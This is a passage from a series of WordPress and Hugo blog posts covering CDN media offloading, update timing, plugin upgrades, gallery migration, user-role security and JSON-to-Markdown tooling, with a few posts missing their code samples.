3. Change the Upload URL to `http://static.example.com/wordpress/` (my CDN alias for the bucket).
4. Edit all posts and GUIDs to the new URL.
The thing is, I can actually do all of that!
## Setup a Bucket on DreamObjects
Log in to your Panel, click on Cloud, go to DreamObjects, and create a new bucket in DreamObjects. I called my domain-static because that’s easy for me to remember. Static content lives here. Once you have your bucket, click on the “Change Settings” link and add an alias of “static” to the domain you’re hosting all this on (example.com in this example).
You can name your alias anything you want. I just picked static because I knew I wanted my URLs for images to be `http://static.example.com/wordpress/2016/01/happynew.jpg` and this makes it simple. I like to leave my CDN available for more than just WordPress, and doing this will let me have more folders like `wiki` or `gallery`.
Next, scroll down to “DreamSpeed CDN” and turn on CDN Support. You’ll notice that tells you a special URL for CDN:
> Connect to the accelerated DreamSpeed CDN version of this bucket at: examplecom-uploads.objects-us-east-1.dream.io
Don’t worry! You can use your custom URL too. You don’t have to, but most of us want to, to feel special. In order to use your custom alias that we just made, scroll up a little and check the box for ‘CDN’ on your alias. Press save and you’re good to go!
## Copy all the Images
*Set the bucket public first!*
Just trust me, here. Okay? Good. Set the bucket public and then upload all the images. I used Transmit. Cyberduck also works.
## Change the Upload URL
This part was scary.
We need a moment of history first. Up until WordPress 3.5 this was actually pretty easy to do. You went to your media page and you changed things. As of 3.5, WordPress decided that this was more trouble than it was worth. Too many people were accidentally doing silly things, breaking their sites, and it was too dangerous. So they *removed* the part of the screen that let you change this.
I have issues with this, since for what I want to do, it makes it a hassle. But given the flaw in my great plan, I recognize the change as one that protects people who know less than I do.
Using a plugin to restore this missing setting would be the easiest on many levels. And there are a few plugins that do this but I like [Upload Url and Path Enabler](https://wordpress.org/plugins/upload-url-path-enabler/). It’s simple and to the point.
Of course, I love wp-cli and we have it on all our servers at DreamHost, so this command is similarly awesome:
```
wp option set upload_url_path http://static.example.com/wordpress
```
The last option for this is the secret WordPress page called “All Settings” — This is hands down the most powerful and dangerous page in all of WordPress. It lists all your options and settings that you have in the database. And yes, you can edit many of them in your browser at `http://example.com/wp-admin/options.php`
Go ahead. Take a look. It lists a *lot* of things, most of which you should never, ever, ever, touch. If you were going to use this, search for `upload_url_path`, change the value from empty to `http://static.example.com/wordpress`, and press save.
## Edit All Your Posts
This is a sucky part. You have to edit all your posts now to move the existing images. This is because those changes you made are *only* for images going forward. Which is really cool and means you didn’t break anything so far. But WordPress hardcodes the paths to images in your posts (for many reasons) so you need to change all of them.
If you know how to use the command line, this is actually really easy:
`wp search-replace http://example.com/wp-content/uploads/ http://static.example.com/wordpress/`
Run that command and WP-CLI will magically fix all your posts.
If you don’t want to use the command line, I recommend [Velvet Blues Update URLs](https://wordpress.org/plugins/velvet-blues-update-urls/).
## Done!
And to be clear on things, *this worked perfectly*. My media library showed properly, all my images showed, and everything looked perfect. So I decided to run some basic tests and upload new images…. and that’s where my house of cards fell apart.
**You cannot *save* files to another server.**
## Actually You Can… if you sudo
Now I have to tell you something. I lied. You totally can do this. The problem is that it’s hard and requires mounting your bucket as a local filesystem so that it would be available via the file-path of the server. You see, you could save files to `/folder/location/wordpress/` anywhere on the server. I save mine to `/home/user/public_html/static/` on one set up, and I have a static domain (`domain-static.com`) that runs from that folder.
What that means if I had a location I could access, I could tell WordPress to save there, making it ‘local’ enough to trick it. You can do this with tools like [s3fs-fuse](https://github.com/s3fs-fuse/s3fs-fuse), however they’re incredibly complicated and weird for the layman. And that right there was my problem.
If you’re trying to present something as ‘Without a plugin’ then you don’t want to make the tradeoff be ‘..but with sudo access to a VPS.’ That’s unreasonable.
And it’s why, right now, if you want to use a CDN for your media in WordPress, use a plugin.
**Categories:** How It Works
**Tags:** coding, plugins, wordpress
---
### [The Fiscal Responsibility of 25%](https://halfelf.org/2016/fiscal-responsibility/)
**Published:** January 1, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do we have a fiscal responsibility to not update or must we update, regardless of the big picture?
**Content:**
“We’re going to deploy on December 20th.”
I winced.
I’m not Christian and December 25th is just another day when I binge watch Netflix. The 24th? Movie night! But I picked up a habit at the Bank and that was not deploying code for the last two weeks and first two weeks of the year unless the company was going to be fined if we didn’t.
I was brutal about that to people. I was harsh and mean and demanded lengthy justifications. I made them speak to senior management, who were hard to find around that time of year because every one was on vacation.
The reason for this was that the bank had a clear cut *fiscal* responsibility not to go down between Thanksgiving and a bit after New Years. That was when year end processing happened, and that was when many companies who used us were processing the most orders. For a lot of people, business booms right when everyone wants to take a break to be with their family.
WordPress runs 25% of the Internet.
We use it for blogging, for building Facebook-eqsue sites, for running ecommerce stores.
That means and we the developers of WordPress now have a responsibility not to break when we upgrade people. A *huge* responsibility. And it’s one we can never give with 100% assurance because of one simple fact.
We made WordPress open.
Anyone can make a theme or plugin. And while we do our best to test with core WordPress, we cannot test all of the 45k plugins in the repository yet. The best is *maybe* we could write a script to check for fatal errors on activation. But even then, can we test all 45,000 against all possible permutations of combinations?
That’s an incredibly massive number. All my factorial calculators, even Google, just said ‘Infinity.’ And we add about 9000 plugins a year. This is staggeringly huge and it gets bigger every year
But with this increase in share and use comes an incredible *responsibility* to 25% of the web. We *cannot* break their sites.
Of course I know that’s impossible. There will always be outliers. And even with the large user base that companies like Yoast have, the dearth of willing and capable Beta Testers for a free product is going to bite us. It’s part of what I asked [what I did at the Town Hall at WCUS](https://halfelf.org/?p=8307) — Are we going too fast?
Speed cannot exclude us from a responsibility to our users. And with the increasing provenance of online stories and websites for everyone, pushing a change when we know that the majority of the world is celebrating *something* between Nov 15th and January 15th is reckless. Look at how many people want time off in those months to be with family. Look at how many businesses are running sales. Look at the amount of data transfer that spikes.
And then picture what happens when an update has a small bug that takes down one site in a thousand. 1/1000 of 1/4th of the entire Internet. If that didn’t make you shiver, do the math again. Imagine if Apple went down because they pushed an update right around Christmas?
The answers change sometimes, though. What if it was a security fix? Would that change your mind? It would change mine. A major upgrade around Christmas worries me. A minor one, not so much.
It may be time to call a year end moratorium on updates to our systems and apps. If they’re business and mission critical, test them as best you can, but consider if you *have* to update before that Christmas rush. Make people jump through hoops to prove they need the new shiny right now. If you know you’re understaffed or under heavy load, consider that as much as anything else.
**Categories:** How It Is
**Tags:** rant, responsibility, wordpress
---
### [Mailbag: How do plugins update?](https://halfelf.org/2016/mailbag-plugins-update/)
**Published:** January 15, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How plugins (and themes) upgrade and (possibly) why we sometimes break WordFence.
**Content:**
From Ken the Web Mechanic comes this:
> Hi! I wonder if you’d have any insight on this… I’ll mention Wordfence, though I imagine that it applies to any security plugin that compares plugin files with those in the WordPress repository… One of the most common things that Wordfence reports as a file “inconsistency” is the readme.txt of many plugins. Frequently, when using Wordfence’s compare feature, the readme of an installed and up-to-date plugin is shown as not the most current version and the repository shows the latest version – which is for the version that is installed!! If you delete the plugin and then download and install it anew from the repository, the readme is for the current, Wordfence has no complaint and all is right with the world… So I guess my question is… When a plugin is updated through WordPress, does the readme.txt file always get updated? It’s always been my understanding that during an update all of the old filed are deleted and then the new version is installed from the repository… It’s seeming like this may not be 100% of the case. It’s certainly only a minor irritation to me… but it makes me curious… Inquiring minds and all of that! 😉 Thanks!
I put the whole question in because while the crux is “How are these buggers updating?” the whole picture is interesting. I’ve talked about this once before, but it was a very long time ago. [How the WordPress Upgrade Works](https://halfelf.org/2011/how-the-wordpress-upgrade-works/) was posted in 2011, and [Why does the WordPress background auto-upgrade work?](https://halfelf.org/2013/why-does-the-wordpress-background-auto-upgrade-work/) was back in 2013. So it’s about time for a revisit.
The short answer is “Actually, the readme.txt **is** deleted on plugin (and theme) upgrades.”
The longer answer means first we should understand what’s going on with upgrades! How plugins (and themes) update is pretty basic and you can check out `/wp-admin/includes/class-wp-upgrader.php` to see all this code:
1. Connect to the filesystem.
2. Download a package.
3. Unpack a compressed package file.
4. Clears the directory where this item is going to be installed into.
5. Install a package.
These are all great failsafes, making sure multiple times that we’re not about to leave a user in a bad state. We check to make sure we can download and use the file before deleting and replacing. We check to make sure WordPress can find all the folders it needs, like `plugins` and `wp-content` and so on. If it can’t connect to any of the ones it needs, it will fail. We make sure we can download and unzip the file. Even when we look at the complex fourth step, we’re all checking over and over to make sure that when we really do delete these files, we have something to replace them with.
The goal is that WordPress should never be able to leave you with a plugin deleted and not installed again, nor should it leave you with a half-deleted plugin. Obviously critical failures, like a server reboot mid-stream, will have some catastrophic effects. This is why WordPress tosses a `.maintenance` file down, mind you. Stops your site from looking like total poop while all this is going on.
When we look at the class `Plugin_Upgrader` itself (line 766 or so), we get into some nitty gritty things. The public function `upgrade` does some interesting things:
Here we are clearly deactivating and deleting safely before we upgrade. And at this point, I’m very confident that we’re deleting that readme.txt before we upgrade.
Okay! So why is WordFence being a dillweed?
I have a theory it’s related to the updates we do when WordPress core has a new version. You see, instead of updating the whole plugin, we update the readmes only to edit the “tested up to…” value. If there’s no code change, after all, why would we bother? No need to push an update! This means you no longer have a plugin that 100% matches what’s on Wordpress.org, you have a plugin where the code files match, but not the `readme.txt` files.
And then poor WordFence notices that the readme you have and the readme on .org’s servers is out of whack, and tosses an error.
I don’t know how WordFence would fix that, but I’m pretty sure this would hang ’em up.
WordFence folks, got any ideas?
**Categories:** How It Works
**Tags:** updates, upgrading, wordpress
---
### [Not Ditching ZenPhoto After All](https://halfelf.org/2016/not-ditching-zenphoto/)
**Published:** January 13, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Walking through the problems that made me stick with ZenPhoto after all.
**Content:**
When we last left our heros… We had taken a SQL database, converted it to JSON, split it into 885 separate JSON files, renamed and moved them based on the folder path previously assigned.
That took a while, but now we’re ready for the fun!
## Convert them to MD
I already know how to do this one. Run [grunt-mustache-render](https://www.npmjs.com/package/grunt-mustache-render)!
One problem. It didn’t like recursive folders. Pause for laughter. Thankfully I had done a `cp` and not an `mv` on my files with Mike’s script, so I just changed that to handle moving `.md` files instead of `.json` and it all went fine.
## Turn on Hugo
I had a theme already so I copied it over and then started making my changes. I needed the layout to be a little different.
First I needed a list of all the sections and files and I needed to grab all the items that were an ‘Index’ file and format them specially:
I felt very pleased with myself at this point. Obviously I would need to replace “IMAGE HERE” with an image, but I had the basic idea down.
Inside each post, there was a shortcode mentioned before, `{{< gallery >}}`, and this is where my drama started. What I wanted I thought would be (fairly) easy. Get a list of all the folders where this `index.md` file was and list them similar to what I had done before. They were sub-sections (in Hugo Terms), but as it happens, Hugo doesn’t have a way to handle those! [There are no templates for subsections](https://github.com/spf13/hugo/issues/455). Now this in and of itself wasn’t a deal breaker. I could made do with that shortcode except…
## Limitations
The thing I really do like about ZenPhoto is that I can drop my new media in a folder and magically knows what’s up. Add a new folder? It knows it’s there. With Hugo (or Jekyll) I found it was incredible hard to do something as ‘simple’ as getting a list of all the items in a folder. With Jekyll I’d [need a plugin](http://stackoverflow.com/questions/17446472/how-to-list-files-in-a-directory-with-liquid) (which I am certainly not adverse to). Hugo has a readDir call, but [it’s limited to the working directory](https://github.com/spf13/hugo/pull/1204) and I wanted to read the images in a CDN folder (on the same server, but still).
Perhaps ironically, it’s easier to run a gallery with Hugo and Jekyll if you host the images off your own domain. It goes against my goal of having a self-hosted site, though. But for now, it’s not possibly to do what I wanted.
## Do I feel like I wasted time?
No! In fact, I’ve learned a lot of things that tell me where the foibles are in my plans.
[ustwo actually did make a React powered site](https://ustwo.com/blog/open-sourcing-our-website) and in looking at [their source code](https://github.com/ustwo/ustwo.com-frontend) I see they did it by making the site ‘all one page.’ This is something I can understand today and wrap my head around. Because the alternative would be something like this:
1. Write a post
2. Run a script to grab all the pages via the JSON API as individual .json files
3. Run a script to convert them into .md
4. Build static site (test and then deploy)
It’s not actually that horrible when I put it that way. It means everyone could write on WordPress and, when they’re ready to deploy, I just run my script, push to my dev site, validate, and push to live.
But. That loses a lot of what makes WordPress cool. Editing posts on the fly, pushing live updates, and scheduling posts all becomes a nightmare. For my Gallery idea, it means that WordPress remains a viable option except for the fact that I can’t easily move from ZenPhoto to WordPress *and* WordPress behaves like a blog when I don’t want it to be one.
I’m all about using WordPress for things other than blogging but the sad truth is it’s still structured like a blog. Custom Post Types are doing a great job, and a lot of what I do on my estore site is similar to how I’d want to handle a gallery. I could do posts as posts and organize them as categories, for example, and structure the whole theme to handle that…
Or I could just stay on ZenPhoto, which does all that out of the box.
And yes. That’s what I’m doing.
**Categories:** How To
**Tags:** hugo, wordpress, zenphoto
---
### [Ditching ZenPhoto for Hugo?](https://halfelf.org/2016/ditch-zenphoto-hugo/)
**Published:** January 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My adventure of moving from ZenPhoto to Hugo did not go as expected.
**Content:**
This started out as a 230 word bullet point list of how to do things. It’s now two entire posts!
## (Almost) Leaving ZenPhoto
I have to preface this by telling you that I *didn’t* in the end. Yeah. I know. I planned to. And here’s why:
I like ZenPhoto a lot. It’s a great Gallery tool, and after Gallery2 went to Gallery3 and I hated it, I was quite in love with them. But. They’ve started to inch towards being a general CMS and the whole ZenPhoto/ZenPhoto20 split left a weird taste in my mouth.
Plus the DB I have is already 65 megs, which has started to behave a little oddly. Now I have 38,534 images in 885 albums, and to a degree that makes sense. If you think about it in WordPress terms, I have 885 taxonomies (tags and categories), and 38,534 posts. Given that each post in this example would be a sentence at most (describing the image), the WordPress DB would be around 15megs based on some napkin math I did. Validating this, there’s a [WordPress Joke DB with 40k Jokes](http://wordpressgalaxy.blogspot.com/2013/01/40000-jokes-wordpress-database-download.html) and it’s only 14 megs.
Oh and did I mention that ZenPhoto has no export feature? I guess there’s a reason the first PHP script I wrote was a simple Gallery. All I really want is to display images in a structured format.
But. As I said before, I *did not* leave ZenPhoto! Why not? Because I was unable to do what I wanted to in pure Hugo, and because porting everything over to WordPress is incredibly hard and complex.
## Why Not WordPress?
WordPress has a lot of awesome advantages. It auto generates thumbnails for one, which [Hugo does not](https://github.com/spf13/hugo/issues/1014), so porting the gallery over would save me one level of complication. But I have 38,534 images to import. No matter how you slice that, I’d have to import them and associate them with the right post. Probably manually.
With a static generator, I can very easily assign a variable for each album to say ‘get images from this folder and display them.’ And if there are folders, list each folder as a link to another page. By contrast, I would have to use a plugin like NextGen gallery to do this in WordPress, and while I do like the plugin, it’s got the same issue that ZenPhoto has for me. It’s doing too much. And, to be honest, part of this process is to limit my potential security issues. Adding in really big, really complex plugins is the opposite of that, no matter how rigorously reviewed they are.
Besides, if I hated it, I knew I could import MD files into WordPress. [Someone already did it with Jekyll](http://tyler.io/importing-jekyll-posts-into-wordpress/) after all.
## Get and Grep the Data
No matter what I needed the data. Thankfully I knew how to do this with phpMyAdmin already. I dropped the `_albums` table in JSON format. Why JSON? Well as I’d already learned, I could generate a Markdown file from a JSON pretty easily. Of course, I got stumped on having it loop through the JSON file, but I have a plan for this.
On export, `albums.json` was 643 KB while `images.json` was 61.4 MB. And they were all one line. I’m not using `images.json` just yet.
I tossed it into BBedit and scrubbed the data, removing everything I didn’t need. This did not change the file size at first, since I also made the JSON human readable. There was a lot of gripping here, but I took each entry from 16-22 items down to six: tags, categories, folder path, title, description, date. And the file went down to 143 KB. One-sixth, more or less.
Finally I had to split each entry because, as I’d learned, trying to loop through a nested JSON array in grunt is complicated. So fine, I’ll do it manually. But how? Answer: By loving linux. You can [split files](http://www.computerhope.com/unix/usplit.htm)!
There’s also [csplit](http://www.computerhope.com/unix/ucsplit.htm), which is contextual split. Either way, I now have 885 `album-xxx.json` files. Whew.
## Rename and Move the Files
I messed around with linux commands to move files based on their folder paths and rename them based on the last variable. I dreaded having to just move them and then going to mess with the renames. So after two days, I asked Twitter and was saved by Mike Little and Kailey Lampert. Between them I learned that there was a jq tool for messing with JSON (homebrew install it) and that a shell script is a godsend.
I ended up changing it to reduce future broken URLs. But basically everything except the `mkdir` comes from Mike. He’s my hero.
## To Be Continued
Once I had all the files, it was time to change them all to Markdown files and whip out my templates!
But you’ll need to wait for that because this post got really long.
**Categories:** How To
**Tags:** gallery, hugo, wordpress, zenphoto
---
### [Mailbag: Access and Security](https://halfelf.org/2016/mailbag-access-security/)
**Published:** January 8, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not everyone needs to be an admin. The path of least resistance is often the wiser one.
**Content:**
In the midst of a longer set of forum posts about how to not have a plugin updated because you’ve made edits to the plugin, someone said that their issue was that the people on the site updated.
> Now please don’t say that we should give them minimum privileges …
Actually. That’s precisely what I’m going to say.
1\) Do not make anyone an admin whom you do not explicitly trust.
2\) As the admin, test all plugins before updating.
3\) If a plugin is constantly releasing unstable updates, stop using the plugin and look for alternatives.
3a) But make sure it’s not your theme or a conflict with another plugin first. It may be something else’s fault.
4\) Stop editing plugins directly.
5\) Treat every upgrade as a serious thing.
Now. I know why the guy doesn’t want to hear “You’re doing it wrong.” But the truth is this. If you give people who are irresponsible enough to update things the ability to update things, they’re gonna update things!
True story? On one of our company sites, one of the guys has access to update all the things. He did and broke the site. I jumped in, told him “Don’t do that, please, ask me next time.” and I fixed it. And then I went through everyone who had admin access and locked their accounts down to Editors. The exceptions were the people who legitimently *needed* that access.
And yes, WordPress needs more granular user roles/controls. I want that user to have access to administer all posts *and* add new users. I don’t want him anywhere near the plugins and themes. But I evaluated the risk vs reward of his access, and since he’s educatable, I felt it was safe to leave him there. Plus he knows right away to call me if he breaks things.
That goes back to the trust aspect, though. I trust him.
Trusting people to have access to aspects of your site reflect your understanding of what that access means. Making everyone and their brother an admin is reckless, not to sugar coat the situation. Only people who *must* be admins should have admin access. It’s really that simple. And if you insist there’s no other way around it, then you’re not paying attention closely enough.
Make a list of what your users *need* to do. Not what they want, what they *need*. And be serious here. Do they need to update plugins or do you do it for them in a reasonable timeframe? Do they really need to be able to add users? Remember though, we’re asking what *they* need, not you. Go to [WordPress’ list of Roles and Capabilities](https://codex.wordpress.org/Roles_and_Capabilities) and take note of what they actually can do.
Now I said before, the roles and controls and capabilities of WordPress leave a lot to be desired. But thankfully WordPress has `add_cap` and you can adjust roles.
Here’s how [Isabel Castillo](http://isabelcastillo.com/editor-role-manage-users-wordpress) did it:
You only need to do that once since the roles and caps are locked into the database (see above, the controls need to be better). Still. Now your *editors* can edit users. Brilliant.
So yes. I will tell you you’re doing it wrong, especially when you’re doing it in a way that is dangerous and risky in the long run.
Don’t let the toddlers try to drive the car.
**Categories:** How It Is
**Tags:** mailbag, security
---
### [Mailbag: Hugo from iPads](https://halfelf.org/2015/mailbag-hugo-ipads/)
**Published:** December 25, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Yes, you can totally post to a Hugo managed site via your iPad. You just need to git a little help.
**Content:**
So I’ve done the whole Hugo thing and it’s great and it totally works for me. That 1% itch left from Jekyll is gone. So queue the inevitable…
> But what about mobile posting?!
Why on earth the planet is obsessed with posting everything from their phone, I don’t know. Things like Instagram and Twitter make it easy for us to ‘communicate’ (and I use that loosely) and post photos of our lunch. And yes, the iOS app for the iPhone means I can ‘live blog’ but, to be honest, I hate it on my iPhone.
My iPad though… I love posting from that.
And yes, yes I can post to my Hugo run site from my iPhone or iPad. Remember, I can push my new content by running a git push command. The server will build, sync, and clean up on its own. All I need to do it is a Git app on my iPad that doesn’t suck
[Working Copy](http://workingcopyapp.com) does not suck.
It’s an iOS app that pulls my git repository to my iPad (the whole thing, so make sure you have room). Then I can edit files, commit them, and push. Hugo on the server does the rest, just like it would from my desktop.
Working Copy is different from many other Git related apps because can hook into *any* git repository. I’m not using GitHub for this project. I want to do 100% self hosting, and that means no GitHub. Also no BitBucket. These tools are fine for what they are, and in fact I pay GitHub for some private repos. But I wanted my repo on my server, in part so I could do exactly what I’m doing.
The tool is incredibly simple. It’s a familiar file navigator, tap through the folders. Tap edit to edit, make changes to the post, hit done. There’s even a preview feature that mostly works. Some of my Markdown files are very weird.
If I wanted to edit in Byword, which is what I do most of my writing in for non-novel related things, I can share and go back and forth. I’d love it if the WordPress iOS app (or Calypso) did that. Write in Byword, send to other app. But even a copy/paste is simple enough. In this case, I can write in Byword and share to Working Copy. The interface takes the title of my document and let’s me pick the folder.
Once I’m done with my edits, I commit my changes. Then I can push, or not. There’s an option to commit+push, but it crashed my app. A skim of reviews showed this happened to others. The iOS interface can be a bit tetchy so having this be two steps doesn’t bother me.
I did find it odd that there was no button to push. I had to go back to the main folder, swipe-left, and press the orange push button. But that, and the weird crash, were it for annoyances.
While free to download, it’s $9.99 for unlimited deployments. It was free for 3 weeks, which I tried out over WordCamp US and found simple and perfect for my workflow.
**Categories:** How It Works
**Tags:** ios, mailbag
---
### [JSON to Markdown](https://halfelf.org/2016/json-markdown/)
**Published:** January 6, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Struggling on my mastering of the JSON API. How can you turn JSON into Markdown?
**Content:**
Now that I understand how Hugo and JSON work separately and together, it’s time to figure out the next question.
Can I generate Markdown files based on the contents of a JSON?
## My JSON File
I started with an SQL DB where my photos have lived for a long time. I exported the albums table to a JSON file (yes, phpMyAdmin can do that), cleaned it up by removing the cruft I didn’t need, and ended up with something like this:
By the way, I’m not going to address how to actually make the gallery with images here. Yet. The eventual idea I have here is to run this with WordPress doing that, but since I was messing around with this anyway, I figured I’d reuse what I had.
The end goal here, remember, is to export the JSON file from WordPress (list all top level categories, let’s say) and have Hugo generate a page for each one. That’s all. But WordPress has so much data, I decided to start with the smaller, simpler stuff.
Let’s move on.
## Create a Markdown Page from JSON
Thankfully someone else has already tossed this idea around. I started with reading [Dynamic Pages with Hugo](http://cyrillschumacher.com/2014/12/21/dynamic-pages-with-gohugo.io/)
> My idea is: Import any JSON or CSV from any local file or URL and make the JSON or CSV content available in a shortcode or directly in the layout files.
That was very close to what I wanted, but it would result in me having to make a page for each item. I don’t want that. I want a script to make the `.md` file for me.
So I stepped back and stopped asking “How do I make a Hugo page from JSON?” and I asked “How do I make a separate file for each entry in a .json file?”
Sidebar: My wife was trying to convert the Hebrew year (3595) into all the possible other calendars and asked me to help her with the math. I asked her “What Julian year is that?” She said it BCE so it didn’t work like that, but that was 167. I Googled “What is 167 BCE in the Chinese calendar?” Boom. [WikiPedia’s page for 167 BC](https://en.wikipedia.org/wiki/167_BC) lists them all. As I pointed out, the trick to these things is not converting it all yourself, but getting from ‘weird’ to ‘Base 10.’ Once you’re at the default (the lowest common denominator), it’s allot easier to figure out other people’s weird.
This is related to my task at hand. Weird is being specific. Weird is *caring* what system I’m using. The root of my issue is this: I want to make a Markdown file for every entry in JSON.
I use [Mustache](http://mustache.github.io/). And, yes, [someone already had this idea](http://evilmousestudios.com/using-mustache-and-grunt-for-documentation/). He was using [mustache-render](https://www.npmjs.com/package/grunt-mustache-render) in Grunt, which I’m already familiar with, but I made a few changes.
1. I changed the templates folder to my Hugo [Archetypes](https://gohugo.io/content/archetypes/) folder. This is my source, my style.
2. I changed the data folder to my Hugo [Data](https://gohugo.io/extras/datafiles/) folder.
3. The output went to (you got this one, right?) the Hugo Content folder.
This should work, right?
## Mustache Render
My Gruntfile has this:
And my `gallery.md` file is like this:
Except that doesn’t work. If I changed `{{title}}` to `{{0.title}}` then it showed Foo and Bar’s adventure information. Obviously the render was only going to show each entry individually. Now. This could work in a variety of situations, just not mine. Alternatively, I can wrap the output in this: `{{#0}} ... {{/0}}`
But what I want is ‘for each key in json, make a file…’ and since I can put the JSON output right into the gruntfile (`data: { greeting: "Hello", target: "world" }`) then in theory I want to generate this:
Okay so how do I tell Grunt to read from a JSON and for each key, do a thing? First I use `grunt.file.readJSON`:
And this will output item #2 (Bob’s vacations). So stage one is complete. Now I want the 1 in `pkg.1` to be iterative *or* I want to pass a variable to the mustache file and change `{{#0}} ... {{/0}}` based on its value. Obviously if I had one JSON file for each ‘post’ I wanted to make, this would be easy.
## Multiple Markdown Files from One JSON
I have no idea.
Seriously. I spent a few hours on this, lying in bed trying to feel less cold-and-flu-ish. At this point, I don’t really care what I use to do it, but the bones is this: Take one JSON file and split each object into it’s own file.
Can’t figure that out yet. But hey, there’s my 2016 project!
FYI: If you reply with ‘try project X!’ without a code example of how to do it, I’ll probably delete your comment. I’ve seen ‘Try handlebars!’ or ‘Try Assemble’ but my issue here is no one has an *example* of how to do it, and I work best by example. I need that Hello World.
I am looking at Handlebars and Assemble, by the way, but at 900+ words, it’s time to call a pause on the adventure.
**Categories:** How To
**Tags:** grunt, json, markdown
---
### [Using JSON with Hugo](https://halfelf.org/2016/using-json-hugo/)
**Published:** January 4, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I may still be in over my head, but I'm learning to swim!
**Content:**
I know I’ve been talking about Hugo a lot, but the whole reason I say and wrapped my head around it was that I wanted to make a website using JSON.
Making something out of the [JSON API](http://v2.wp-api.org/) in WordPress isn’t easy, and I decided to start with something hard. I thought I would make a Multisite network to be the back end of my site, and then call the JSON API to generate the content.
## Why?
It doesn’t make my site (much) faster, though it makes it more cacheable. Mostly what it does is lets me separate church and state. I can use WordPress to write content, and then call it however I want. That would be Hugo. If I build the site via Hugo locally, then every time I generate the files it can pull in the data on the fly.
## Enable the API
This is easy. Install WordPress 4.4 and install v2 of the [Rest API plugin](https://wordpress.org/plugins/rest-api/). I also installed Jetpack for reasons of using Calypso.
You absolutely have to use the Rest API plugin. WordPress 4.4 adds in some of the bits, but the API plugin gives you the actual endpoints. You’ll need these later.
## Call the API
This was also easy. Kind of. Making a jquery file that called the content was fairly straightforward but… Making it responsive and reactive was hard.
What I really wanted to do was have some web app, js powered without node, that just called the data and kept the url structure. And for that what I need is a JSON client.
It was incredibly hard to find how to make a static HTML website powered by JSON. I’d see Rachel Baker’s presentation on [making a WordPress theme with the JSON API](https://speakerdeck.com/rachelbaker/build-a-theme-with-the-wp-rest-api) but that wasn’t what I wanted to do. I mean, in a way it was. The [theme itself](https://github.com/rachelbaker/wcus-demo) was what I wanted, but I didn’t want to run it with WordPress.
I did a lot of research and finally stumbled onto [restful.js](https://github.com/marmelab/restful.js) by marmelab. I read their [blog post](http://marmelab.com/blog/2015/03/10/deal-easily-with-your-rest-api-using-restful-js.html) on the product and it looked like what I wanted. I needed something that would run without Node.js since I wanted to do this on Apache.
## Consuming a RESTful Web Service Dynamically
And this is when I starting banging my head against a table. None of the solutions I’d found were working for me. Nothing. Rachel was right. I was in a bit over my head. Oh she was nice enough not to say it that way, but they way she looked at me was very Jewish Mom of her.
In order to stop feeling useless, I decided to learn Hugo. It had come up a few times on my search for a dynamic static site. Hugo has [LiveReload](https://gohugo.io/extras/livereload/) which, if you’re familiar with most static generators, is pretty cool. The idea is the pages rebuild as you edit the content (or theme) files.
If you run `hugo server` locally on your laptop, you can see this today. Hugo upped the ante by tossing in the ability to run it on the server *and* the ability to watch the data files. It also has the ability to [call JSON remotely](https://gohugo.io/extras/datadrivencontent/).
I feel it’s important to note that you *cannot* trigger that LiveReload when you’re using external URLs. But anytime you edit a file and LiveReload is triggered, Hugo will read the URL content from your cache. If you’ve disabled cache, it will download it fresh. Don’t disable cache unless you have an unlimited API. And no, I don’t know how long the cache is good for.
Sadly, OAuth or other authentication methods are not working yet, but for now that’s okay because I’d been in over my head for so long, I stepped back.
## Understanding JSON First
Okay fine. Once I realized I’d tried to do too much at first, I went back to that static filmography I had.
This is basic stuff. A simple chunk by chunk. And to call the file in a shortcode, I did this:
Actually I did a lot more but you get the idea. And if you’re wondering about the if statement at the top, it’s so I can pass a parameter to my shortcode:
It took me longer than I’d like to figure that out. At first I had multiple filmography files (actor, writer, producer) and I was trying to look through them all. In the end, I realized this simple JSON and a simple call was better.
## A Little More JSON
There was another case, though. I had lists of episodes compiled into separate JSON files, one per show. This is logical and maintainable after all, but it meant I couldn’t use the same logic loop in the same way.
What I really needed was to loop through `$.Page.Site.Data.episodes.SHOWNAME` in order to get the data from that show. And I couldn’t add on a variable to my `range` call.
But as it happens, Hugo is clever and if I say `{{ range $.Page.Site.Data.episodes }}` it will give me the file `episodes.json` if that exists. But if there happens to be a *folder* called `episodes` then it will give me all the JSON files in there.
I read through the [data documentation on Hugo](https://gohugo.io/extras/datafiles/) a few times to understand the hierarchy but it breaks down really logically:
Data {dot} episodes {dot} continum
And if I ran this:
Then I got this:
- continum
- fringe
- sense8
I already knew I could do a range within a range, and finally I came up with this:
The shortcode checks the post it’s on and, if the Front Matter has ‘show’ defined, it will give me a list of all titles (episode titles) for that show.
I added in an extra check for the season parameter. This one is passed through the shortcode:
And that, in turn is called in the shortcode above the output for title:
So nothing will display unless the show in the JSON file matches the show on the page with the shortcode, *and* the season matches the one defined in the shortcode.
Now I actually have a more robust check. If no season is defined, it shows all episodes (useful for one-season shows, right?). But you get the idea.
## How Did This Help?
Remember my JSON example before? Here’s what it looks like for *Fringe*:
Instead of just started with those naked chunks, I have a definition of the show name (fringe – lowercase because I want to compare it to other lowercase things and I’m lazy) and the definition of a section for episodes. That’s the whole reason why that call for seasons works the way I want it to.
This helped me to understand and visualize JSON. By taking a simple JSON list (the filmography) I learned the basics of connecting code and content. Then by taking the more complex scenario, where I needed nested data, I understood that relationship.
The next step will be making a *simple* WordPress site and calling the JSON remotely. Obviously I have to figure out how to trick it into making fake permalinks, but baby steps. Baby steps.
**Categories:** How To
**Tags:** cache, hugo, json, rest api
---
### [Porting Jekyll to Hugo](https://halfelf.org/2015/porting-jekyll-hugo/)
**Published:** December 28, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving from Jekyll to Hugo is more about trading Liquid for GoLang than anything else.
**Content:**
Importing content is always the bane of moving systems.
Now one of the things Hugo has is a cool command called `$ hugo import jekyll` – and yes, it does exactly what you think it does. This was interesting to me since I wondered if I could switch my library from Jekyll to Hugo and yes, yes I can.
The site I have on Jekyll has a few more posts than the first one I built on Hugo. This one has around 1500 pages. Excited, I ran the command:
